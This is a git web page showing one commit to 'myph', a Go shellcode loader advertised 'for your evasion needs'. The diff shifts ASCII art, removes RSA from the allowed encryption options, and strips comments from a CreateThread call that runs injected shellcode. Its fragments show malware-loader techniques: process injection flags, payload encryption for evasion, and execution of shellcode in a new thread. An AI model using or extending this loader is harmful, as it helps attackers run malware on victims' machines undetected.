myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 6f6f347c5b0535c50aa65298dcdd1cd443041f40
parent fbf6fbebd6eea2bcabd78a90f3f4d38c9d60bc89
Author: winds0r <[email protected]>
Date: Sun, 23 Jul 2023 19:57:07 +0900

wip(meta): minor changes...

Diffstat:
Mcli/parser.go | 10+++++-----
Mloaders/createThread.go | 13++++++-------

2 files changed, 11 insertions(+), 12 deletions(-)

diff --git a/cli/parser.go b/cli/parser.go
@@ -14,12 +14,12 @@ const MYPH_TMP_DIR = "/tmp/myph-out"
 const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
 
 const ASCII_ART = `
-              ...                                    -==[ M Y P H ]==-
+              ...                                        -==[ M Y P H ]==-
              ;::::;
-           ;::::; :;                                In loving memory of
-         ;:::::'   :;                           Wassyl Iaroslavovytch Slipak
+           ;::::; :;                                    In loving memory of
+         ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
         ;:::::;     ;.
-       ,:::::'       ;           OOO                   (1974 - 2016)
+       ,:::::'       ;           OOO                       (1974 - 2016)
        ::::::;       ;          OOOOO
        ;:::::;       ;         OOOOOOOO
       ,;::::::;     ;'         / OOOOOOO
@@ -171,7 +171,7 @@ func GetParser(opts *Options) *cobra.Command {
 	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
 	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateThread)")
 
-	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
+	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, XOR)")
 	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 
 	return cmd
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -44,14 +44,13 @@ func ExecuteOrderSixtySix(shellcode []byte) {
 		uintptr(len(shellcode)),
 	)
 
-	// jump to shellcode
 	_, _, _ = CreateThread.Call(
-		0,    // [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
-		0,    // [in]            SIZE_T                  dwStackSize,
-		addr, // shellcode address
-		0,    // [in, optional]  __drv_aliasesMem LPVOID lpParameter,
-		0,    // [in]            DWORD                   dwCreationFlags,
-		0,    // [out, optional] LPDWORD                 lpThreadId
+		0,
+		0,
+		addr,
+		0,
+		0,
+		0,
 	)
 
 	select {}